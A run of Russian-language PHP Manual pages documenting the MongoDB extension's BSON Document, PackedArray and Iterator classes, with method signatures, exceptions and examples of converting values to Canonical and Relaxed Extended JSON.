  • MongoDB\BSON\Document::fromJSON() - Создаёт новый экземпляр документа из строки JSON
  • MongoDB\BSON\Document::toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление BSON-документа
  • MongoDB\BSON\fromJSON() - Возвращает представление BSON значения JSON
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • » Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Document

(mongodb >=1.16.0)

Введение

Представляет BSON-документ. Класс используется при чтении данных в виде необработанного BSON и не может быть модифицирован.

Обзор классов

final class MongoDB\BSON\Document implements MongoDB\BSON\Type, IteratorAggregate, Serializable {
/* Методы */
final private __construct()
final static public fromBSON(string $bson): MongoDB\BSON\Document
final static public fromJSON(string $json): MongoDB\BSON\Document
final static public fromPHP(object|array $value): MongoDB\BSON\Document
final public get(string $key): mixed
final public getIterator(): MongoDB\BSON\Iterator
final public has(string $key): bool
final public serialize(): string
final public toCanonicalExtendedJSON(): string
final public toPHP(?array $typeMap = null): array|object
final public toRelaxedExtendedJSON(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.17.0 | Реализует MongoDB\BSON\Type.

Содержание

  • MongoDB\BSON\Document::__construct — Создаёт новый BSON-документ (не используется)
  • MongoDB\BSON\Document::fromBSON — Создаёт новый экземпляр документа из BSON-строки
  • MongoDB\BSON\Document::fromJSON — Создаёт новый экземпляр документа из строки JSON
  • MongoDB\BSON\Document::fromPHP — Создаёт новый экземпляр документа из данных PHP
  • MongoDB\BSON\Document::get — Возвращает значение ключа в документе
  • MongoDB\BSON\Document::getIterator — Возвращает итератор для документа BSON
  • MongoDB\BSON\Document::has — Возвращает, присутствует ли ключ в документе
  • MongoDB\BSON\Document::serialize — Сериализует документ
  • MongoDB\BSON\Document::toCanonicalExtendedJSON — Возвращает Canonical Extended JSON-представление BSON-документа
  • MongoDB\BSON\Document::toPHP — Возвращает PHP-представление документа BSON
  • MongoDB\BSON\Document::toRelaxedExtendedJSON — Возвращает Relaxed Extended JSON представление BSON-документа
  • MongoDB\BSON\Document::__toString — Возвращает строковое представление данного BSON-документа
  • MongoDB\BSON\Document::unserialize — Десериализует BSON-документ

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый BSON-документ (не используется)

  • « MongoDB\BSON\Document
  • MongoDB\BSON\Document::fromBSON »
  • PHP Manual
  • MongoDB\BSON\Document
  • Создаёт новый BSON-документ (не используется)

MongoDB\BSON\Document::__construct

(mongodb >=1.16.0)

MongoDB\BSON\Document::__construct — Создаёт новый BSON-документ (не используется)

Описание

final private MongoDB\BSON\Document::__construct()

Объекты MongoDB\BSON\Document создаются с помощью статических фабричных методов и не могут быть инициализированы напрямую.

Список параметров

У этой функции нет параметров.

Смотрите также

  • MongoDB\BSON\Document::fromPHP() - Создаёт новый экземпляр документа из данных PHP
  • MongoDB\BSON\Document::fromBSON() - Создаёт новый экземпляр документа из BSON-строки
  • MongoDB\BSON\Document::fromJSON() - Создаёт новый экземпляр документа из строки JSON
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр документа из BSON-строки

  • « MongoDB\BSON\Document::__construct
  • MongoDB\BSON\Document::fromJSON »
  • PHP Manual
  • MongoDB\BSON\Document
  • Создаёт новый экземпляр документа из BSON-строки

MongoDB\BSON\Document::fromBSON

(mongodb >=1.16.0)

MongoDB\BSON\Document::fromBSON — Создаёт новый экземпляр документа из BSON-строки

Описание

final static public MongoDB\BSON\Document::fromBSON(string $bson): MongoDB\BSON\Document

Список параметров

bson (string)

Строка, содержащая документ в формате BSON.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает MongoDB\Driver\Exception\UnexpectedValueException, если параметр bson является некорректной BSON-строкой или содержит более одного документа.

Смотрите также

  • MongoDB\BSON\Document::fromPHP() - Создаёт новый экземпляр документа из данных PHP
  • MongoDB\BSON\Document::fromJSON() - Создаёт новый экземпляр документа из строки JSON
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр документа из строки JSON

  • « MongoDB\BSON\Document::fromBSON
  • MongoDB\BSON\Document::fromPHP »
  • PHP Manual
  • MongoDB\BSON\Document
  • Создаёт новый экземпляр документа из строки JSON

MongoDB\BSON\Document::fromJSON

(mongodb >=1.16.0)

MongoDB\BSON\Document::fromJSON — Создаёт новый экземпляр документа из строки JSON

Описание

final static public MongoDB\BSON\Document::fromJSON(string $json): MongoDB\BSON\Document

Преобразует файл » extended JSON в его BSON-представление.

Список параметров

json (string)

JSON-значение, подлежащее преобразованию.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\UnexpectedValueException, если параметр json не является корректным документом.

Смотрите также

  • MongoDB\BSON\Document::fromPHP() - Создаёт новый экземпляр документа из данных PHP
  • MongoDB\BSON\Document::fromBSON() - Создаёт новый экземпляр документа из BSON-строки
  • MongoDB\BSON\fromJSON() - Возвращает представление BSON значения JSON
  • » MongoDB Extended JSON
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр документа из данных PHP

  • « MongoDB\BSON\Document::fromJSON
  • MongoDB\BSON\Document::get »
  • PHP Manual
  • MongoDB\BSON\Document
  • Создаёт новый экземпляр документа из данных PHP

MongoDB\BSON\Document::fromPHP

(mongodb >=1.16.0)

MongoDB\BSON\Document::fromPHP — Создаёт новый экземпляр документа из данных PHP

Описание

final static public MongoDB\BSON\Document::fromPHP(object|array $value): MongoDB\BSON\Document

Список параметров

value (object|array)

PHP-объект или массив, содержащий документ. При передаче массива с числовыми ключами числовые значения преобразуются в строки и используются в качестве ключей документа.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Document::fromBSON() - Создаёт новый экземпляр документа из BSON-строки
  • MongoDB\BSON\Document::fromJSON() - Создаёт новый экземпляр документа из строки JSON
  • MongoDB\BSON\fromPHP() - Возвращает представление BSON значения PHP
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение ключа в документе

  • « MongoDB\BSON\Document::fromPHP
  • MongoDB\BSON\Document::getIterator »
  • PHP Manual
  • MongoDB\BSON\Document
  • Возвращает значение ключа в документе

MongoDB\BSON\Document::get

(mongodb >=1.16.0)

MongoDB\BSON\Document::get — Возвращает значение ключа в документе

Описание

final public MongoDB\BSON\Document::get(string $key): mixed

Список параметров

key (string)

Ключ, который необходимо извлечь из документа.

Возвращаемые значения

Возвращает значение, связанное с заданным ключом. Если ключ отсутствует в документе, будет выброшено исключение.

Замечание: Если в BSON-документе встречается значение, закодированное как 64-битное целое число, то возвращаемым значением этого метода будет экземпляр MongoDB\BSON\Int64.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException, если ключ отсутствует в документе.

Смотрите также

  • MongoDB\BSON\Document::has() - Возвращает, присутствует ли ключ в документе
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает итератор для документа BSON

  • « MongoDB\BSON\Document::get
  • MongoDB\BSON\Document::has »
  • PHP Manual
  • MongoDB\BSON\Document
  • Возвращает итератор для документа BSON

MongoDB\BSON\Document::getIterator

(mongodb >=1.16.0)

MongoDB\BSON\Document::getIterator — Возвращает итератор для документа BSON

Описание

final public MongoDB\BSON\Document::getIterator(): MongoDB\BSON\Iterator

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр MongoDB\BSON\Iterator, который может быть использован для итерации по всем ключам в документе.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\UnexpectedValueException, если итератор BSON не может быть инициализирован.

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, присутствует ли ключ в документе

  • « MongoDB\BSON\Document::getIterator
  • MongoDB\BSON\Document::serialize »
  • PHP Manual
  • MongoDB\BSON\Document
  • Возвращает, присутствует ли ключ в документе

MongoDB\BSON\Document::has

(mongodb >=1.16.0)

MongoDB\BSON\Document::has — Возвращает, присутствует ли ключ в документе

Описание

final public MongoDB\BSON\Document::has(string $key): bool

Список параметров

key (string)

Ключ, который необходимо искать в документе.

Возвращаемые значения

Возвращает true, если ключ присутствует в документе, в противном случае возвращает false .

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Document::get() - Возвращает значение ключа в документе
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует документ

  • « MongoDB\BSON\Document::has
  • MongoDB\BSON\Document::toCanonicalExtendedJSON »
  • PHP Manual
  • MongoDB\BSON\Document
  • Сериализует документ

MongoDB\BSON\Document::serialize

(mongodb >=1.16.0)

MongoDB\BSON\Document::serialize — Сериализует документ

Описание

final public MongoDB\BSON\Document::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\Document.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Document::unserialize() - Десериализует BSON-документ
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает Canonical Extended JSON-представление BSON-документа

  • « MongoDB\BSON\Document::serialize
  • MongoDB\BSON\Document::toPHP »
  • PHP Manual
  • MongoDB\BSON\Document
  • Возвращает Canonical Extended JSON-представление BSON-документа

MongoDB\BSON\Document::toCanonicalExtendedJSON

(mongodb >=1.16.0)

MongoDB\BSON\Document::toCanonicalExtendedJSON — Возвращает Canonical Extended JSON-представление BSON-документа

Описание

final public MongoDB\BSON\Document::toCanonicalExtendedJSON(): string

Преобразует BSON-документ в его » Canonical Extended JSON представление. Формат Canonical предпочитает точность типов за счёт краткости вывода и наиболее подходит для получения вывода, который может быть преобразован обратно в BSON без потери информации о типе (например, числовые типы останутся дифференцированными).

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования MongoDB\BSON\Document::toCanonicalExtendedJSON()

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\Document::fromPHP($document);
echo $bson->toCanonicalExtendedJSON(), "\n";
}

?>

Результат выполнения данного примера:

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : { "$numberInt" : "123" } }
{ "int64" : { "$numberLong" : "4294967295"} }
{ "double" : { "$numberDouble" : "1.0" } }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : { "$numberLong" : "1445990400000" } } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : { "$numberInt" : "1" } } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

Смотрите также

  • MongoDB\BSON\Document::fromJSON() - Создаёт новый экземпляр документа из строки JSON
  • MongoDB\BSON\Document::toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление BSON-документа
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • » Спецификация Extended JSON
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает PHP-представление документа BSON

  • « MongoDB\BSON\Document::toCanonicalExtendedJSON
  • MongoDB\BSON\Document::toRelaxedExtendedJSON »
  • PHP Manual
  • MongoDB\BSON\Document
  • Возвращает PHP-представление документа BSON

MongoDB\BSON\Document::toPHP

(mongodb >=1.16.0)

MongoDB\BSON\Document::toPHP — Возвращает PHP-представление документа BSON

Описание

final public MongoDB\BSON\Document::toPHP(?array $typeMap = null): array|object

Десериализует BSON-документ в его PHP-представление. Параметр typeMap может быть использован для управления типами PHP, используемыми для преобразования BSON-массивов и документов (как корневых, так и встроенных).

Внимание

Документы BSON технически могут содержать повторяющиеся ключи, поскольку документы хранятся в виде списка пар ключ-значение; однако приложениям следует воздерживаться от создания документов с дубликатами ключей, поскольку поведение сервера и драйвера может быть неопределённым. Поскольку объекты и массивы PHP не могут иметь повторяющихся ключей, данные также могут быть потеряны при декодировании документа BSON с повторяющимися ключами.

Список параметров

typeMap (array)

Конфигурация карты типов.

Возвращаемые значения

Десериализованное PHP-значение.

Замечание: Если в BSON-документе встречается значение, закодированное как 64-битное целое число, то возвращаемым значением будет экземпляр MongoDB\BSON\Int64.

Ошибки

  • Выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException, если класс в карте типов не может быть инициализирован или не реализует интерфейс MongoDB\BSON\Unserializable.

Смотрите также

  • MongoDB\BSON\toPHP() - Возвращает PHP представление значения BSON
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает Relaxed Extended JSON представление BSON-документа

  • « MongoDB\BSON\Document::toPHP
  • MongoDB\BSON\Document::__toString »
  • PHP Manual
  • MongoDB\BSON\Document
  • Возвращает Relaxed Extended JSON представление BSON-документа

MongoDB\BSON\Document::toRelaxedExtendedJSON

(mongodb >=1.16.0)

MongoDB\BSON\Document::toRelaxedExtendedJSON — Возвращает Relaxed Extended JSON представление BSON-документа

Описание

final public MongoDB\BSON\Document::toRelaxedExtendedJSON(): string

Преобразует BSON-документ в » Relaxed Extended JSON представление. Формат Relaxed предпочитает использовать примитивы типов JSON в ущерб верности типов и наиболее подходит для создания вывода, который может быть легко использован веб-интерфейсами и людьми.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования MongoDB\BSON\Document::toRelaxedExtendedJSON()

<?php

$documents = [
[ 'null' => null ],
[ 'boolean' => true ],
[ 'string' => 'foo' ],
[ 'int32' => 123 ],
[ 'int64' => 4294967295 ],
[ 'double' => 1.0, ],
[ 'nan' => NAN ],
[ 'pos_inf' => INF ],
[ 'neg_inf' => -INF ],
[ 'array' => [ 'foo', 'bar' ]],
[ 'document' => [ 'foo' => 'bar' ]],
[ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
[ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
[ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
[ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
[ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
[ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
[ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
[ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
[ 'minkey' => new MongoDB\BSON\MinKey ],
[ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
$bson = MongoDB\BSON\Document::fromPHP($document);
echo $bson->toRelaxedExtendedJSON(), "\n";
}

?>

Результат выполнения данного примера:

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : 123 }
{ "int64" : 4294967295 }
{ "double" : 1.0 }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : "2015-10-28T00:00:00Z" } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : 1 } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

Смотрите также

  • MongoDB\BSON\Document::fromJSON() - Создаёт новый экземпляр документа из строки JSON
  • MongoDB\BSON\Document::toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON-представление BSON-документа
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » Спецификация Extended JSON
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление данного BSON-документа

  • « MongoDB\BSON\Document::toRelaxedExtendedJSON
  • MongoDB\BSON\Document::unserialize »
  • PHP Manual
  • MongoDB\BSON\Document
  • Возвращает строковое представление данного BSON-документа

MongoDB\BSON\Document::__toString

(mongodb >=1.16.0)

MongoDB\BSON\Document::__toString — Возвращает строковое представление данного BSON-документа

Описание

final public MongoDB\BSON\Document::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление данного BSON-документа

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Десериализует BSON-документ

  • « MongoDB\BSON\Document::__toString
  • MongoDB\BSON\PackedArray »
  • PHP Manual
  • MongoDB\BSON\Document
  • Десериализует BSON-документ

MongoDB\BSON\Document::unserialize

(mongodb >=1.16.0)

MongoDB\BSON\Document::unserialize — Десериализует BSON-документ

Описание

final public MongoDB\BSON\Document::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\Document.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть десериализованы (например, параметр data был неправильно сформирован).
  • Выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException, если свойства недопустимы (например, отсутствуют поля или недопустимые значения).

Смотрите также

  • MongoDB\BSON\Document::serialize() - Сериализует документ
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\PackedArray

(mongodb >=1.16.0)

Введение

Представляет массив BSON. Класс используется при чтении данных в виде необработанного BSON и не может быть модифицирован.

Обзор классов

final class MongoDB\BSON\PackedArray implements MongoDB\BSON\Type, IteratorAggregate, Serializable {
/* Методы */
final private __construct()
final static public fromPHP(array $value): MongoDB\BSON\PackedArray
final public get(int $key): mixed
final public getIterator(): MongoDB\BSON\Iterator
final public has(int $index): bool
final public serialize(): string
final public toPHP(?array $typeMap = null): array|object
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.17.0 | Реализует MongoDB\BSON\Type.
PECL mongodb 1.17.0 | Класс MongoDB\BSON\PackedArray не может быть сериализован в контекстах, где ожидается BSON-документ. В предыдущих версиях BSON-массив должен был быть преобразован в документ.

Содержание

  • MongoDB\BSON\PackedArray::__construct — Создаёт новый массив BSON (не используется)
  • MongoDB\BSON\PackedArray::fromPHP — Создаёт новый экземпляр массива BSON из данных PHP
  • MongoDB\BSON\PackedArray::get — Возвращает значение индекса массива
  • MongoDB\BSON\PackedArray::getIterator — Возвращает итератор для массива BSON
  • MongoDB\BSON\PackedArray::has — Возвращает, присутствует ли индекс в массиве
  • MongoDB\BSON\PackedArray::serialize — Сериализация массива BSON
  • MongoDB\BSON\PackedArray::toPHP — Возвращает PHP-представление массива BSON
  • MongoDB\BSON\PackedArray::__toString — Возвращает строковое представление BSON-массива
  • MongoDB\BSON\PackedArray::unserialize — Десериализует массив BSON

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый массив BSON (не используется)

  • « MongoDB\BSON\PackedArray
  • MongoDB\BSON\PackedArray::fromPHP »
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Создаёт новый массив BSON (не используется)

MongoDB\BSON\PackedArray::__construct

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::__construct — Создаёт новый массив BSON (не используется)

Описание

final private MongoDB\BSON\PackedArray::__construct()

Объекты MongoDB\BSON\PackedArray создаются с помощью статических фабричных методов и не могут быть инициализированы напрямую.

Список параметров

У этой функции нет параметров.

Смотрите также

  • MongoDB\BSON\PackedArray::fromPHP() - Создаёт новый экземпляр массива BSON из данных PHP
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр массива BSON из данных PHP

  • « MongoDB\BSON\PackedArray::__construct
  • MongoDB\BSON\PackedArray::get »
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Создаёт новый экземпляр массива BSON из данных PHP

MongoDB\BSON\PackedArray::fromPHP

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::fromPHP — Создаёт новый экземпляр массива BSON из данных PHP

Описание

final static public MongoDB\BSON\PackedArray::fromPHP(array $value): MongoDB\BSON\PackedArray

Список параметров

value (array)

Массив PHP для преобразования в массив BSON. Массив должен быть списком (т.е. иметь последовательные числовые ключи, начинающиеся с 0).

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException, если заданный массив не является списком (т.е. имеет последовательные числовые ключи, начинающиеся с 0).

Смотрите также

  • MongoDB\BSON\fromPHP() - Возвращает представление BSON значения PHP
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение индекса массива

  • « MongoDB\BSON\PackedArray::fromPHP
  • MongoDB\BSON\PackedArray::getIterator »
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Возвращает значение индекса массива

MongoDB\BSON\PackedArray::get

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::get — Возвращает значение индекса массива

Описание

final public MongoDB\BSON\PackedArray::get(int $key): mixed

Список параметров

key (int)

Индекс для получения из массива.

Возвращаемые значения

Возвращает значение, связанное с заданным индексом. Если индекс не присутствует в документе, то будет выброшено исключение.

Замечание: Если в массиве BSON встречается значение, закодированное как 64-битное целое число, то возвращаемым значением метода будет экземпляр MongoDB\BSON\Int64.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException, если индекс отсутствует в массиве.

Смотрите также

  • MongoDB\BSON\PackedArray::has() - Возвращает, присутствует ли индекс в массиве
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает итератор для массива BSON

  • « MongoDB\BSON\PackedArray::get
  • MongoDB\BSON\PackedArray::has »
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Возвращает итератор для массива BSON

MongoDB\BSON\PackedArray::getIterator

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::getIterator — Возвращает итератор для массива BSON

Описание

final public MongoDB\BSON\PackedArray::getIterator(): MongoDB\BSON\Iterator

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр MongoDB\BSON\Iterator, который может быть использован для итерации по всем индексам в массиве.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\UnexpectedValueException, если итератор BSON не может быть инициализирован.

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, присутствует ли индекс в массиве

  • « MongoDB\BSON\PackedArray::getIterator
  • MongoDB\BSON\PackedArray::serialize »
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Возвращает, присутствует ли индекс в массиве

MongoDB\BSON\PackedArray::has

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::has — Возвращает, присутствует ли индекс в массиве

Описание

final public MongoDB\BSON\PackedArray::has(int $index): bool

Список параметров

index (int)

Индекс, который следует искать в массиве.

Возвращаемые значения

Возвращает true, если индекс присутствует в массиве, в противном случае возвращает значение false.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\PackedArray::get() - Возвращает значение индекса массива
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализация массива BSON

  • « MongoDB\BSON\PackedArray::has
  • MongoDB\BSON\PackedArray::toPHP »
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Сериализация массива BSON

MongoDB\BSON\PackedArray::serialize

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::serialize — Сериализация массива BSON

Описание

final public MongoDB\BSON\PackedArray::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление массива MongoDB\BSON\PackedArray.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\PackedArray::unserialize() - Десериализует массив BSON
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает PHP-представление массива BSON

  • « MongoDB\BSON\PackedArray::serialize
  • MongoDB\BSON\PackedArray::__toString »
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Возвращает PHP-представление массива BSON

MongoDB\BSON\PackedArray::toPHP

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::toPHP — Возвращает PHP-представление массива BSON

Описание

final public MongoDB\BSON\PackedArray::toPHP(?array $typeMap = null): array|object

Список параметров

typeMap (array)

Конфигурация карты типов.

Возвращаемые значения

Декодированное значение PHP.

Замечание: Если в массиве BSON встречается значение, закодированное как 64-битное целое число, то возвращаемым значением метода будет экземпляр MongoDB\BSON\Int64.

Ошибки

  • Выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException, если класс в карте типов не может быть инициализирован или не реализует интерфейс MongoDB\BSON\Unserializable.

Смотрите также

  • MongoDB\BSON\toPHP() - Возвращает PHP представление значения BSON
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление BSON-массива

  • « MongoDB\BSON\PackedArray::toPHP
  • MongoDB\BSON\PackedArray::unserialize »
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Возвращает строковое представление BSON-массива

MongoDB\BSON\PackedArray::__toString

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::__toString — Возвращает строковое представление BSON-массива

Описание

final public MongoDB\BSON\PackedArray::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление массива в формате BSON.

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Десериализует массив BSON

  • « MongoDB\BSON\PackedArray::__toString
  • MongoDB\BSON\Iterator »
  • PHP Manual
  • MongoDB\BSON\PackedArray
  • Десериализует массив BSON

MongoDB\BSON\PackedArray::unserialize

(mongodb >=1.16.0)

MongoDB\BSON\PackedArray::unserialize — Десериализует массив BSON

Описание

final public MongoDB\BSON\PackedArray::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\PackedArray.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть десериализованы (т.е. serialized был неправильно сформирован).
  • Выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException, если свойства недопустимы (например, отсутствуют поля или недопустимые значения).

Смотрите также

  • MongoDB\BSON\PackedArray::serialize() - Сериализация массива BSON
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Iterator

(mongodb >=1.16.0)

Введение

Итератор, используемый для обхода BSON-документа или массива.

Обзор классов

final class MongoDB\BSON\Iterator implements Iterator {
/* Методы */
final private __construct()
public current(): mixed
public key(): string|int
public next(): void
public rewind(): void
public valid(): bool
}

Содержание

